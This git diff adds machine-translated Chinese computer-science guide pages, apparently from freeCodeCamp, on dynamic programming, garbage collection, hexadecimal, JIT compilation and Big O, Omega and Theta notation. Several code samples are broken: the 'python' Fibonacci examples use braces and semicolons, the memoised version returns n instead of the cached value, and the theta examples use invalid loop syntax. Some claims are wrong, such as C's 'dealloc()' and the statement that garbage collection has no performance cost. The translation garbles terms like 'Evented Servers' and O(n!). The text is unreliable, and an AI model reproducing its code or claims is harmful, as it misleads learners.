+在理论上研究分布式算法时，分布式系统被建模以便达到独立于不同实现和系统的抽象级别。两种常见的模型是消息传递模型和共享内存模型。在消息传递中，每个进程（进程和处理器通常可互换使用）通过它向其他进程发送和接收的消息进行通信。在共享内存模型中，进程通过访问共享内存进行通信。
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/dynamic-programming/index.md b/client/src/guide/chinese/computer-science/dynamic-programming/index.md
new file mode 100644
index 0000000000..8aa64ce742
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/dynamic-programming/index.md
@@ -0,0 +1,51 @@
+---
+title: Dynamic Programming
+localeTitle: 动态编程
+---
+## 动态编程
+
+动态编程（DP）是一种编程技术，用于解决其子问题的计算重叠的问题：您以避免重新计算已解决问题的方式编写程序。 这种技术通常与memoization结合使用，memoization是一种优化技术，可以缓存先前计算的结果，并在再次需要相同的计算时返回缓存的结果。
+
+Fibonacci系列的一个例子，定义如下：
+
+`F(N) = F(N-1) + F(N-2)`
+
+这是找到F（5）的树：
+
+![斐波那契系列的树](https://i.stack.imgur.com/59Rpw.png)
+
+要计算F（5），它需要计算相同F（i）的许多倍。使用递归：
+
+```python
+def fib(n) 
+ { 
+    if n <= 1: 
+        return n 
+    return fib(n-1) + fib(n-2); 
+ } 
+```
+
+以下是优化的解决方案（使用DP）
+
+对于F（5），该解决方案将生成上图中描绘的调用，在O（2 ^ N）中运行。
+
+这是一个使用DP和memoization的优化解决方案：
+
+```python
+lookup = {1 : 1, 2 : 1} # Create a lookup-table (a map) inizialized with the first 2 Fibonacci's numbers 
+ 
+ def fib(n) 
+ { 
+    if n in lookup: # If n is already computed 
+        return n # Return the previous computed solution 
+    else 
+        lookup[n] = fib(n-1) + fib(n-2) # Else, do the recursion. 
+    return lookup[n] 
+ } 
+```
+
+在查找表中缓存计算解决方案，并在递归之前查询它将使程序具有O（N）的运行时间。
+
+#### 更多信息：
+
+[什么是StackOverflow上的动态编程](https://stackoverflow.com/questions/1065433/what-is-dynamic-programming) [StackOverflow上的memoization和DP之间的区别](https://stackoverflow.com/questions/6184869/what-is-the-difference-between-memoization-and-dynamic-programming)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/error-handling/index.md b/client/src/guide/chinese/computer-science/error-handling/index.md
new file mode 100644
index 0000000000..525a7c9d62
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/error-handling/index.md
@@ -0,0 +1,26 @@
+---
+title: Error Handling
+localeTitle: 错误处理
+---
+## 错误处理
+
+错误处理，在更大程度上，异常处理，是为了返回有关数据操作的重要信息而编写的函数/方法。错误处理通常与Promises和Callbacks一起使用。 错误处理是每个开发人员在编程时应该关心的非常重要的事情。在这里，我将解释如何使用try-catch块处理运行时发生的错误，并在C＃程序中使用示例。 Try-catch语句可用于所有主要编程语言，语法相似。
+
+### try-catch块如何工作。
+
+try-catch语句由**try**块和**catch**块以及可选的**finally**块组成。可以抛出异常的代码应该放在try块中。 catch块接受可以作为参数抛出的异常，然后在块内处理该异常。在运行时，首先执行try块中的代码。如果抛出异常，它将被抛出到catch块以进行处理。如果没有catch块，程序将显示未处理的异常错误并停止运行。如果try块中的代码可能抛出多个异常，则使用多个catch块。无论是否抛出异常，还有一个可选的**finally**块，它将在其中执行代码。
+
+下面是一个示例程序，它使用C＃库中的预定义类来处理除零异常。异常是所有异常的基类。
+
+`c# using System; namespace ErrorHandling { class DivideByZero { int result; DivideByZero() { result = 0; } public void division(int num1, int num2) { try { result = num1 / num2; } catch (DivideByZeroException e) { Console.WriteLine("Exception caught: {0}", e); } catch(Exception ex) { Console.WriteLine("Exception caught: {0}", ex); } finally { Console.WriteLine("Result: {0}", result); } } static void Main(string[] args) { DivideByZero d = new DivideByZero(); d.division(10, 0); Console.ReadKey(); } } }`
+
+*   在上面的程序中传递0作为第二个参数将抛出DivideByZeroExceptions。
+    
+*   此异常将由具有DivideByZeroException类的catch块处理。如果发生除DivideByZeroExceptions之外的任何异常，它们将由异常捕获块处理。
+    
+    异常是C＃库中可用的所有异常类的基类。即使您想编写自己的异常，也必须将Exception基类继承到程序中。
+    
+
+#### 更多信息：
+
+https://quizlet.com/135129010/computer-science-error-handling-flash-cards/ https://en.wikipedia.org/wiki/Exception\_handling
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/evented-servers/index.md b/client/src/guide/chinese/computer-science/evented-servers/index.md
new file mode 100644
index 0000000000..e52aca8cd0
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/evented-servers/index.md
@@ -0,0 +1,19 @@
+---
+title: Evented Servers
+localeTitle: 偶像服务器
+---
+## 偶像服务器
+
+Evented服务器运行单个事件循环，处理所有连接客户端的事件。这与使用多个并发执行线程的线程服务器相对，每个线程处理一个客户端请求。
+
+简单来说，Eve​​nted服务器只有一个主线程在所有客户端请求之间共享。 Evented服务器的特殊之处在于，他们可以优先处理客户请求所需的工作。 我们将通过一个例子说明这一点。
+
+假设您是出租车公司的所有者（让它被称为服务器），并且您有人打电话给您的公司（让他们称为客户），他们想要安排取件（让那些被称为请求）。您雇用运营商（让他们称为流程/线程）来接受客户的订单。您的业​​务逻辑表明您的运营商必须保持在线，直到将出租车司机发送到客户端为止。从本质上讲，您可能希望雇用与您可以派遣的驾驶员驾驶员数量一样多的操作员。
+
+使用Evented服务器，只有一个操作员能够从客户那里获取提取详细信息，但是一旦将出租车司机发送给他，就知道要回叫客户。
+
+这些类型的服务器使用回调来让客户知道他们的请求何时被处理。
+
+#### 更多信息：
+
+[维基百科上的偶数驱动架构](https://en.wikipedia.org/wiki/Event-driven_architecture)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/garbage-collection/index.md b/client/src/guide/chinese/computer-science/garbage-collection/index.md
new file mode 100644
index 0000000000..6b8a48d2c4
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/garbage-collection/index.md
@@ -0,0 +1,47 @@
+---
+title: Garbage Collection
+localeTitle: 垃圾收集
+---
+## 垃圾收集
+
+#### 什么是垃圾收集？
+
+在一般情况下，垃圾收集（GC）只是收集或获取已分配给对象的内存，这在目前我们程序的任何部分都没有使用。简要说明如下。
+
+垃圾收集是程序试图释放对象不再使用的内存空间的过程，等等。垃圾收集对每种语言的实现都不同。大多数高级编程语言都有某种垃圾收集。低级编程语言可以通过库添加垃圾收集。
+
+如上所述，每种编程语言都有自己的GC方式。在C编程中，开发人员需要使用malloc（）和dealloc（）函数来处理内存分配和释放。但是，如果C＃开发人员不需要处理GC，也不建议使用它。
+
+####内存分配如何发生？ 在C＃中，对象的内存分配发生在托管堆中。由CLR（公共语言运行时）负责。堆中的内存分配是通过操作系统中的win32 dll完成的，就像在C中一样。但是，In C对象被放置在内存中，其中自由空间适合对象的大小。而且，内存映射是基于Linkedlist概念的。在C＃中，堆的内存分配以线性方式发生。像一个接一个。
+
+每当创建一个新对象时。在堆中分配内存，并将指针移动到下一个内存地址。 C＃中的内存分配比C快。因为，在C中，内存需要为对象进行搜索和分配。所以它需要比C＃更高的时间。
+
+\#### C＃GC中的生成？ 在.net编程中，堆有三代，分别叫做第0代，第1代，第2代。每当创建新对象时，第0代就会被填充。当第0代被填满时，垃圾收集器运行。新创建的对象放在第0代中。执行垃圾收集时，所有不需要的对象都被销毁，内存被释放并压缩。一旦GC发生，GC就会指向释放内存的指针。
+
+世代1和2具有寿命更长的对象。第1代和第2代的GC将不会发生，直到第0代有足够的内存来分配。
+
+不建议以编程方式调用GC。让它自己发生是件好事。每当第0代被填充时，GC就会调用。 GC不会影响程序的性能。
+
+垃圾收集是程序试图释放变量，对象等不再使用的内存空间的过程。垃圾收集对每种语言的实现都不同。大多数高级编程语言都内置了某种垃圾收集。低级编程语言可能会通过库添加垃圾收集。
+
+垃圾收集是一种为程序员节省时间的工具，例如它取代了对C语言中的malloc（）和free（）等函数的需求。它还可以帮助防止内存泄漏。
+
+垃圾收集的缺点是它对性能有负面影响。程序必须定期运行程序，检查对象引用和清理内存 - 这会占用资源并且通常需要程序暂停。
+
+如果对象没有引用（不再可访问），则它有资格进行垃圾回收。例如，在下面的Java代码中，最初由'thing1'引用的Thing对象将其唯一的引用重定向到堆上的另一个对象 - 然后它将无法访问，并且其内存将由垃圾收集器取消分配。
+
+```java
+class Useless { 
+  public static void main (String[] args) { 
+  Thing thing1 = new Thing(); 
+  Thing thing2 = new Thing(); 
+  thing2 = thing1; // direct thing2's reference towards thing1 
+                   // no references access thing2 
+ } } 
+```
+
+垃圾收集的一个例子是ARC，它是自动引用计数的缩写。例如，这在Swift中使用。 ARC归结为跟踪对所有创建对象的引用。如果引用量降至0，则将标记该对象以进行重新分配。
+
+#### 更多信息：
+
+*   https://docs.microsoft.com/en-us/dotnet/standard/garbage-collection/fundamentals - 了解有关垃圾收集的更多信息
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/hexcode/index.md b/client/src/guide/chinese/computer-science/hexcode/index.md
new file mode 100644
index 0000000000..62f2a620c2
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/hexcode/index.md
@@ -0,0 +1,88 @@
+---
+title: Hexadecimal Numbers
+localeTitle: 十六进制数
+---
+## 十六进制数字系统
+
+十六进制数，通常缩写为“十六进制数”或“十六进制”， 是基数16中表示的数字，而不是我们用于日常算术和计数的基数10。
+
+实际上，这意味着以十六进制编写的数字的每列最多可以表示16个值。
+
+十六进制数字使用标准符号0,1,2,3,4,5,6,7,8和9来表示相应的值， 并使用字母表的前六个字母来表示值10到15（EG：A，B，C，D，E，F）。
+
+在编程中，我们使用`0x`十六进制常量的前缀，但有一些例外。
+
+### 例子和解释
+```
+0x1        ==        1 
+ 0xF        ==        15 
+ 0xFF       ==        255 
+ 0xFFF      ==        4095 
+ 0x1000     ==        4096 
+```
+
+在标准基础10系统中，每列代表10的增加功率， 而在基数16中，每列代表16的增加的幂。
+
+如上面的表格示例所示，使用一个十六进制数字，我们可以表示最多包括15的数字。添加另一列，我们可以用另一列表示最多255,4095的数字，依此类推。
+
+## 低级编程中十六进制的使用
+
+Hexadecimal首先在计算机科学中发现它作为一种便利功能。
+
+我们计算机中的数据具有最低的公共存储单元Byte。 每个字节包含8位，并且能够存储0到255之间的数字。
+
+十六进制具有简洁和边界清晰的优点。
+
+单个字节始终由两个十六进制数字表示 从0x00到0xFF，后者是最大的每字节值255。
+
+十六进制数字的简洁性和字节对齐特性使它们成为从事低级代码库或嵌入式软件工作的软件工程师的热门选择。
+
+## JavaScript中十六进制数的使用
+
+JavaScript支持使用十六进制表示法代替任何整数，但不支持小数。
+
+例如，十六进制的数字2514是0x9D2，但是没有语言支持的方式将25.14表示为十六进制数。
+
+在代码中使用十六进制是个人和风格的选择，并且对代码实现的底层逻辑没有影响。
+
+## CSS中十六进制数的使用
+
+CSS很长一段时间使用十六进制表示法来表示颜色值。考虑以下选择器：
+
+```css
+.my-container { 
+    background-color: #112233; 
+    color: #FFFFFF; 
+ } 
+```
+
+`background-color`的值实际上是三个十六进制字节。
+
+CSS处理器将这些字节视为三个单独的字节，分别代表红色，绿色和蓝色。
+
+在我们的示例中，11对应于红色分量，22对应于绿色分量，33对应于蓝色分量。
+
+目前没有任何方法可以使用hex来定义带有alpha分量的颜色。 建议的CSS4草案1包括允许额外字节指定alpha值的提议。
+
+目前，使用标准的`rgba()`函数是为颜色添加alpha值的推荐方法。
+
+#### 更多信息：
+
+*   [维基百科上的十六进制数字系统](https://wikipedia.org/wiki/Hexadecimal_numeral_system)
+*   [MDN Web文档上的CSS颜色](https://developer.mozilla.org/en-US/docs/Web/CSS/color)
+
+#### 参考文献：
+
+*   1 [CSS颜色模块等级4 - 4.2。 RGB十六进制表示法：#RRGGBB](https://www.w3.org/TR/css-color-4/#hex-notation)
+
+#### 更多信息：
+
+*   [HEX颜色代码如何工作？ （在60秒内）](https://www.youtube.com/watch?v=c56x1aj2CPA) - 好视频，它也解释了一点关于十六进制数字。
+*   [十六进制代码和颜色理论](https://www.youtube.com/watch?v=xlRiLSDdqcY) - 一个更长的视频，深入研究颜色理论（例如什么是加色和什么是减色等），它还指向其他资源深入研究主题。
+*   [Web颜色](https://en.wikipedia.org/wiki/Web_colors) - 维基百科关于如何在网络上使用颜色的文章。
+*   [关于十六进制代码的维基百科文章](https://en.wikipedia.org/wiki/Hexadecimal)
+*   [关于网页颜色的维基百科文章](https://en.wikipedia.org/wiki/Web_colors)
+*   [六角颜色](http://www.color-hex.com/)
+*   [十六进制颜色代码的中篇文章](https://medium.com/webkul-dev/hex-color-codes-27cd0a37c3ce)
+*   [有关CSS中颜色的更多信息](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value)
+*   [探索不同的六角颜色](http://www.colorhexa.com/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/index.md b/client/src/guide/chinese/computer-science/index.md
new file mode 100644
index 0000000000..59c5b8bbee
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/index.md
@@ -0,0 +1,39 @@
+---
+title: Computer Science
+localeTitle: 计算机科学
+---
+## 计算机科学
+
+计算机科学是研究计算机和使计算机成为可能的概念。
+
+大部分计算机科学都是在20世纪后半叶开创的。
+
+今天，如果你参加本科计算机科学课程，你将学习硬件和软件。您将了解计算机如何在低级抽象（机器语言）和高级抽象（JavaScript等现代脚本语言）中工作。
+
+# 计算机科学领域
+
+计算机科学分为几个领域。以下是目前已建立和研究得很好的领域。大多数字段进一步分类为sub0fields。
+
+*   [计算理论](https://en.wikipedia.org/wiki/Theory_of_computation)
+*   复杂性理论
+*   形式方法
+*   分布式算法
+*   [安全](https://en.wikipedia.org/wiki/Computer_security)
+*   加密
+*   [人工智能](https://en.wikipedia.org/wiki/Artificial_intelligence)
+*   数据挖掘
+*   机器学习
+*   计算机视觉
+*   [软件工程](https://en.wikipedia.org/wiki/Software_engineering)
+*   [数据科学](https://en.wikipedia.org/wiki/Data_science)
+*   大数据
+*   [人机交互](https://en.wikipedia.org/wiki/Human%E2%80%93computer_interaction)
+*   脑计算机接口
+*   系统
+*   分布式系统
+*   操作系统
+*   数据库系统
+
+## 更多信息
+
+[数据结构的可视化](http://www.cs.usfca.edu/~galles/JavascriptVisual/Algorithms.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/interpreters/index.md b/client/src/guide/chinese/computer-science/interpreters/index.md
new file mode 100644
index 0000000000..1a50d956cf
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/interpreters/index.md
@@ -0,0 +1,23 @@
+---
+title: Interpreters
+localeTitle: 口译
+---
+## 口译
+
+口译员是一种翻译。口译员采用源代码 - 用JavaScript，Python和其他语言编写的代码。然后他们将其翻译成计算机理解的代码。
+
+这个翻译的代码是二进制代码。它只不过是1和0。解释器在运行二进制代码的同时逐行翻译源代码。程序将一直运行，直到解释器在源代码中发现错误。然后它将停止翻译/运行程序并标记错误。
+
+为了进行比较，编译器将所有源代码一次转换为二进制代码，然后运行二进制代码。
+
+#### 更多信息：
+
+[Matt Adesanya的“A Gentler Programming to Programming”](https://medium.freecodecamp.org/a-gentler-introduction-to-programming-707453a79ee8)比较了编译器和解释器，并介绍了其他基本的编程概念。
+
+一些口译语言：
+
+*   [蟒蛇](https://en.wikipedia.org/wiki/Python_(programming_language))
+*   [JavaScript的](https://en.wikipedia.org/wiki/JavaScript)
+*   [红宝石](https://en.wikipedia.org/wiki/Ruby_(programming_language))
+*   [向前](https://en.wikipedia.org/wiki/Forth_(programming_language))
+*   [Perl的](https://en.wikipedia.org/wiki/Perl)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/just-in-time-compilation/index.md b/client/src/guide/chinese/computer-science/just-in-time-compilation/index.md
new file mode 100644
index 0000000000..e81f07f574
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/just-in-time-compilation/index.md
@@ -0,0 +1,64 @@
+---
+title: Just in Time Compilation
+localeTitle: 正好在时间汇编中
+---
+## 正好在时间汇编中
+
+即时编译是一种提高解释程序性能的方法。在执行期间，可以将程序编译成本机代码以改善其性能。它也称为动态编译。
+
+动态编译比静态编译有一些优势。运行Java或C＃应用程序时，运行时环境可以在应用程序运行时对其进行概要分析。这允许生成更优化的代码。如果应用程序的行为在运行时发生更改，则运行时环境可以重新编译代码。
+
+一些缺点包括启动延迟和运行时编译的开销。为了限制开销，许多JIT编译器只编译经常使用的代码路径。
+
+### 概观
+
+传统上，有两种方法可以将源代码转换为可以在平台上运行的形式。静态编译将代码转换为特定平台的语言。解释器直接执行源代码。
+
+JIT编译试图利用两者的好处。在运行解释的程序时，JIT编译器确定最常用的代码并将其编译为机器代码。根据编译器的不同，可以在方法或较小的代码段上完成。
+
+动态编辑首先在J. McCarthy于1960年在LISP的论文中描述。
+
+Just In Time Compilation，JIT或Dynamic Translation是在程序执行期间进行的编译。这意味着，在运行时，而不是在执行之前。转换为机器代码会发生什么。 JIT的优点在于，由于编译是在运行时进行的，因此JIT编译器可以访问动态运行时信息，从而使其能够进行更好的优化（例如内联函数）。
+
+理解JIT编译的重要一点是它将字节码编译成正在运行的机器的机器代码指令。这意味着，生成的机器代码针对正在运行的机器的CPU架构进行了优化。
+
+JIT编译器的两个例子是：Java中的JVM（Java虚拟机）和C＃中的CLR（公共语言运行时）。
+
+## JIT代表Just-in-Time，这意味着代码在需要时编译，而不是在运行时之前编译。
+
+在开始时，编译器负责将高级语言（定义为高于汇编程序的语言）转换为目标代码（机器指令），然后将其（通过链接器）链接到可执行文件中。
+
+在语言发展的某一点上，编译器会将高级语言编译成伪代码，然后由解释器解释它来运行程序。这消除了目标代码和可执行文件，并允许这些语言可移植到多个操作系统和硬件平台。 Pascal（编译为P-Code）是第一个; Java和C＃是最近的例子。最终，术语P-Code被字节码替换，因为大多数伪操作都是一个字节长。
+
+Just-In-Time（JIT）编译器是运行时解释器的一个特性，它不是在每次调用方法时解释字节码，而是将字节码编译成正在运行的机器的机器代码指令，然后调用它目标代码。理想情况下，运行目标代码的效率将克服每次运行时重新编译程序的低效率。
+
+JIT编译器在程序启动后运行，并将代码（通常是字节码或某种VM指令）动态编译（或者即时，就像它的调用一样），形成通常更快的形式，通常是主机CPU的本机指令系统。 JIT可以访问动态运行时信息，而标准编译器则无法进行更好的优化，例如内联频繁使用的函数。
+
+这与在程序首次运行之前将所有代码编译为机器语言的传统编译器形成对比。
+
+换句话说，传统编译器在您第一次运行它之前将整个程序构建为EXE文件。对于较新的样式程序，使用伪代码（p代码）生成程序集。只有在OS上执行程序之后（例如，通过双击其图标），（JIT）编译器才会启动并生成基于Intel处理器或其他任何人都能理解的机器代码（m代码）。
+
+## 典型场景：
+
+源代码完全转换为机器代码
+
+## JIT场景：
+
+源代码将转换为汇编语言，如结构\[对于C＃的ex IL（中间语言），对于java的ByteCode\]。
+
+仅当应用程序需要时，中间代码才转换为机器语言，只需将代码转换为机器代码。
+
+## JIT与非JIT比较：
+
+在JIT中，并非所有代码都转换为机器代码，首先将必要的代码的一部分转换为机器代码，然后如果调用的方法或功能不在机器中，那么将转换为机器代码...它减轻了负担CPU。 由于机器代码将在运行时生成...... JIT编译器将生成针对运行机器CPU架构进行优化的机器代码。 JIT示例：
+
+在Java中JIT是在JVM（Java虚拟机）中 在C＃中它是在CLR（公共语言运行时） 在Android中，它是新版本的DVM（Dalvik虚拟机）或ART（Android RunTime）。
+
+Java虚拟机（JVM）（JVM执行字节码）维护一个函数执行时间的计数。如果这个计数超过了预定义的限制，JIT会将代码编译成机器语言，这可以由处理器直接执行（与javac将代码编译成字节码然后java的正常情况不同 - 解释器逐行解释这个字节码将其转换为机器代码并执行）。
+
+此外，下次计算该函数时，再次执行相同的编译代码，而不同于正常解释，其中代码再次逐行解释。这使得执行更快。
+
+#### 更多信息
+
+*   [JIT编译（维基百科）](https://en.wikipedia.org/wiki/Just-in-time_compilation)
+*   [JIT简介](https://eli.thegreenplace.net/2013/11/05/how-to-jit-an-introduction/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/notation/asymptotic-notation/index.md b/client/src/guide/chinese/computer-science/notation/asymptotic-notation/index.md
new file mode 100644
index 0000000000..801cc40a41
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/notation/asymptotic-notation/index.md
@@ -0,0 +1,22 @@
+---
+title: Asymptotic Notation
+localeTitle: 渐近符号
+---
+## 渐近符号
+
+我们如何衡量算法的性能价值？
+
+考虑时间是我们最宝贵的资源之一。在计算中，我们可以根据流程完成所需的时间来衡量绩效。如果两个算法处理的数据相同，我们可以决定解决问题的最佳实现。
+
+我们通过定义算法的数学极限来做到这一点。这些是大O，大omega和big-theta，或算法的渐近符号。在图表上，对于任何给定的数据集，或者“上限”，big-O将是最长的算法。 Big-omega就像big-O的对立面，即“下界”。这就是算法达到任何数据集的最高速度的地方。 Big theta要么是算法的确切性能值，要么是窄上限和下限之间的有用范围。
+
+一些例子：
+
+*   “在你的生命中，交付将在那里。” （大O，上限）
+*   “我可以给你至少一美元。” （大欧米茄，下界）
+*   “今天的高点将是25ºC，低点将是19ºC。” （big-theta，狭窄）
+*   “距离海滩只有一公里的路程。” （big-theta，确切）
+
+#### 更多信息：
+
+*   [渐近符号](https://learnxinyminutes.com/docs/asymptotic-notation/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/notation/big-o-notation/index.md b/client/src/guide/chinese/computer-science/notation/big-o-notation/index.md
new file mode 100644
index 0000000000..f621de460e
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/notation/big-o-notation/index.md
@@ -0,0 +1,64 @@
+---
+title: Big O Notation
+localeTitle: 大O符号
+---
+## 大O符号
+
+_作为一名计算机科学家，如果您正在处理一个重要的软件，您可能需要能够估计一些算法或其他算法的运行速度。_
+
+Big O表示法用于计算机科学中以描述算法的性能或复杂性。实际上，Big O表示法是一种特殊符号，可以告诉您算法的速度有多快。当然，您经常使用预定义的算法 - 当您这样做时，了解它们的速度或速度至关重要。
+
+#### Big O符号是什么样的？
+
+![](https://user-images.githubusercontent.com/5860906/31781171-74c6b48a-b500-11e7-9626-f715b37b10f0.png) 这将告诉您算法将执行的操作数。它被称为Big O表示法，因为你在操作次数之前放置了一个“大O”。  
+
+#### Big O建立了最坏情况的运行时间
+
+假设您是治疗Harry Abbit的医生，您可能会查看与Harry Abbit的病史相关的电子记录（他是列表中的第一个人）。让我们考虑一下他的生命取决于所有可用的医疗数据的情况。 假设您使用简单搜索在电子记录中查找某个人。您知道简单搜索需要花费O（n）时间才能运行，因此您必须查看Abbit的每个条目。当然，您已经注意到Abbit是第一个条目，因此您不必查看每个条目 - 您在第一次尝试时就找到了它。
+
+_这个算法花了O（n）时间吗？或者它花了O（1）时间，因为你第一次尝试找到了这个人？_
+
+在这种情况下，这是最好的情况。但Big O符号是关于最坏情况的。这是O（n）时间（简单搜索仍然需要）。令人放心的是，简单搜索永远不会比O（n）时间慢。
+
+#### 算法运行时间以不同的速率增长
+
+我们假设检查一个条目需要1毫秒。通过简单的搜索，医生必须检查10个条目，因此搜索需要10毫秒才能运行。另一方面，他只需要用_二进制搜索算法_检查3个元素（log10大约是3），因此搜索需要3毫秒才能运行。
+
+但实际上，该列表将有超过一百个元素。
+
+_如果是这样，简单搜索需要多长时间？二进制搜索需要多长时间？_
+
+使用10亿个项目进行简单搜索的运行时间为10亿毫秒，即11天。问题是，二进制搜索和简单搜索的运行时间_不会以相同的速率增长_ 。
+
+![](https://user-images.githubusercontent.com/5860906/31781165-723a053c-b500-11e7-937c-7b33db281efe.png)
+
+因此，随着数字列表变大，二进制搜索变得比简单搜索快得多。也就是说，随着项目数量的增加，二进制搜索需要更多的时间来运行。但是，简单的搜索需要更多_的_时间来运行。因此，随着数字列表变大，二进制搜索变得比简单搜索快得多。
+
+_这就是为什么它不足以知道算法运行多长时间 - 你需要知道运行时间随着列表大小的增加而增加。这就是Big O符号的用武之地。_
+
+#### Big O表示法可让您比较操作次数
+
+例如，假设您有一个大小为n的列表。简单搜索需要检查每个元素，因此需要n次操作。 Big O表示法中的运行时间为O（n）。
+
+_秒数在哪里？_
+
+没有 - 大O不会在几秒钟内告诉你速度。 _Big O表示法可让您比较操作次数。_它告诉你算法的增长速度。
+
+![](https://user-images.githubusercontent.com/5860906/31781175-768c208e-b500-11e7-9718-e632d1391e2d.png) </ p
+
+#### 算法最常见的运行时间
+
+根据Big O表示法算法的最常见运行时间列表。 这里有五个大O运行时间，你会遇到很多，从最快到最慢排序：
+
+1.  O（log n），也称为_日志时间_ 。 示例：二进制搜索。
+2.  O（n），也称为_线性时间_ 。 示例：简单搜索。
+3.  O（n \* log n） 示例：快速排序算法，如quicksort（将在第4章中介绍）。
+4.  O（N2） 示例：慢速排序算法，如选择排序（见第2章）。
+5.  上！） 示例：一个非常慢的算法，如旅行销售员（接下来会出现！）。
+
+_本文仅介绍Big O的基础知识。有关更深入的解释，请查看各自的FreeCodeCamp算法指南。_
+
+### 更多信息
+
+*   [可汗学院](https://www.khanacademy.org/computing/computer-science/algorithms/asymptotic-notation/a/big-o-notation)
+*   [大O作弊表](http://bigocheatsheet.com/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/notation/big-omega-notation/index.md b/client/src/guide/chinese/computer-science/notation/big-omega-notation/index.md
new file mode 100644
index 0000000000..83f1ed93be
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/notation/big-omega-notation/index.md
@@ -0,0 +1,27 @@
+---
+title: Big Omega Notation
+localeTitle: 大欧米茄表示法
+---
+## 大欧米茄表示法
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/computer-science/notation/big-omega-notation/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+与[big O](https://guide.freecodecamp.org/computer-science/notation/big-o-notation)表示法类似，计算机科学中使用大Omega（Ω）函数来描述算法的性能或复杂性。
+
+如果运行时间是Ω（f（n）），则对于足够大的n，对于某个常数k，运行时间至少为k⋅f（n）。以下是如何考虑Ω（f（n））的运行时间：  
+![大欧米茄的功能](https://s3.amazonaws.com/ka-cs-algorithms/Omega_fn.png)  
+我们说运行时间是“f（n）的大Ω”。我们使用大Ω符号表示**渐近下界** ，因为它限制了从足够大的输入大小开始的运行时间的增长。
+
+### Big O和BigΩ之间的区别
+
+Big O表示法与BigΩ表示法之间的区别在于Big O用于描述算法的最坏情况运行时间。但是，另一方面，BigΩ表示法用于描述给定算法的最佳运行时间。
+
+#### 更多信息：
+
+*   [Big-Ω（Big-Omega）表示法](https://www.khanacademy.org/computing/computer-science/algorithms/asymptotic-notation/a/big-big-omega-notation)
+*   [![“MYCODSCHOOL时间复杂度分析”width](http://img.youtube.com/vi/OpebHLAf99Y/0.jpg)](http://www.youtube.com/watch?feature=player_embedded&v=OpebHLAf99Y
+    )
+[](http://www.youtube.com/watch?feature=player_embedded&v=OpebHLAf99Y
+)
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/notation/big-theta-notation/index.md b/client/src/guide/chinese/computer-science/notation/big-theta-notation/index.md
new file mode 100644
index 0000000000..ccf617f7dc
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/notation/big-theta-notation/index.md
@@ -0,0 +1,46 @@
+---
+title: Big Theta Notation
+localeTitle: 大Theta表示法
+---
+## 大Theta表示法
+
+Big Omega告诉我们函数运行时的下限，Big O告诉我们上限。通常，它们是不同的，我们不能对运行时提供保证 - 它将在两个边界和输入之间变化。但是当它们相同时会发生什么？然后我们可以给出一个**θ** （Θ）绑定 - 无论我们给出什么输入，我们的函数都将在那个时间运行。一般来说，我们总是希望在可能的情况下给出一个θ界限，因为它是最准确和最严格的界限。如果我们不能给出一个theta界限，那么下一个最好的事情就是最严格的O界限。
+
+例如，以一个在数组中搜索值为0的函数：
+
+```python
+def containsZero(arr): #assume normal array of length n with no edge cases 
+  for num x in arr: 
+    if x == 0: 
+       return true 
+  return false 
+```
+
+1.  什么是最好的情况？好吧，如果我们给它的数组有0作为第一个值，它将需要恒定的时间：Ω（1）
+2.  什么是最坏的情况？如果数组不包含0，我们将遍历整个数组：O（n）
+
+我们给它一个欧米茄和O绑定，那么theta呢？我们不能给它一个！根据我们提供的数组，运行时将介于常量和线性之间。
+
+我们稍微改变一下我们的代码吧。
+
+```python
+def printNums(arr): #assume normal array of length n with no edge cases 
+  for num x in arr: 
+    print(x) 
+```
+
+你能想到最好的情况和最坏的情况吗？ 我不能！无论我们给出什么数组，我们都必须迭代数组中的每个值。因此该函数至少花费n次（Ω（n）），但我们也知道它不会花费n次（O（n））。这是什么意思？我们的函数将**恰好** n时间：Θ（N）。
+
+如果界限混乱，请考虑这样。我们有2个数字，x和y。我们得到x <= y且y <= x。如果x小于或等于y，并且y小于或等于x，则x必须等于y！
+
+如果您熟悉链接列表，请测试自己并考虑每个功能的运行时！
+
+1.  得到
+2.  去掉
+3.  加
+
+当您考虑双重链接列表时，事情变得更加有趣！
+
+#### 更多信息：
+
+https://www.khanacademy.org/computing/computer-science/algorithms/asymptotic-notation/a/big-big-theta-notation https://stackoverflow.com/questions/10376740/what-exactly-does-big-%D3%A8-notation-represent https://www.geeksforgeeks.org/analysis-of-algorithms-set-3asymptotic-notations/
\ No newline at end of file
diff --git a/client/src/guide/chinese/computer-science/notation/index.md b/client/src/guide/chinese/computer-science/notation/index.md
new file mode 100644
index 0000000000..9a921f85e0
--- /dev/null
+++ b/client/src/guide/chinese/computer-science/notation/index.md
@@ -0,0 +1,11 @@
+---
+title: Notation
+localeTitle: 符号
+---
+## 符号
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/computer-science/notation/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
